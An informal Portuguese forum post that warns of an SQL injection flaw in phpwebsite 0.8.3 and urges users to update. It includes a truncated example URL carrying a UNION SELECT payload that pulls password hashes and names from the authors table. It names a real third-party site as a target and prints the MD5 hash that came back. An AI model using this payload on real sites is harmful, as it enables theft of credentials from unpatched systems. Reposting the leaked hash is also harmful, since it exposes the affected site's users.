Nova vulnerabilidade phpwebsite 0.8.3

Pessoal quem usa isso dai pode atualizar pq tah com uma falaha q qualquer um pode fazer consulta sql na sua DB =P


daew eh soh pega a url tipo

http://under-linux.org/phpwebsite/to...0select%20null, null,pwd,name%20From%20authors

explicando a url : (achoq nao eh necesario)

mas ela vai pega coisas como pwd e name do seu BD e mostrar na tela =)


exemplo

http://www.doomworld.com/mellow/phpw...From%20authors

o resultado eh

a011f87afeaf5296d6770599c73dae44


ou sej a senha em MD5 =/

sei lah nao sei se alguem consegue qbrar essa porra de MD5 sohq se nao conseguem logo conseguiram =P

entao eh melhor se atualizar


e qm quiser criptografar em

64 bits md5 ou q q otra coisa

http://nathan.ueuo.com

um negocionho q eu fiz =P

flws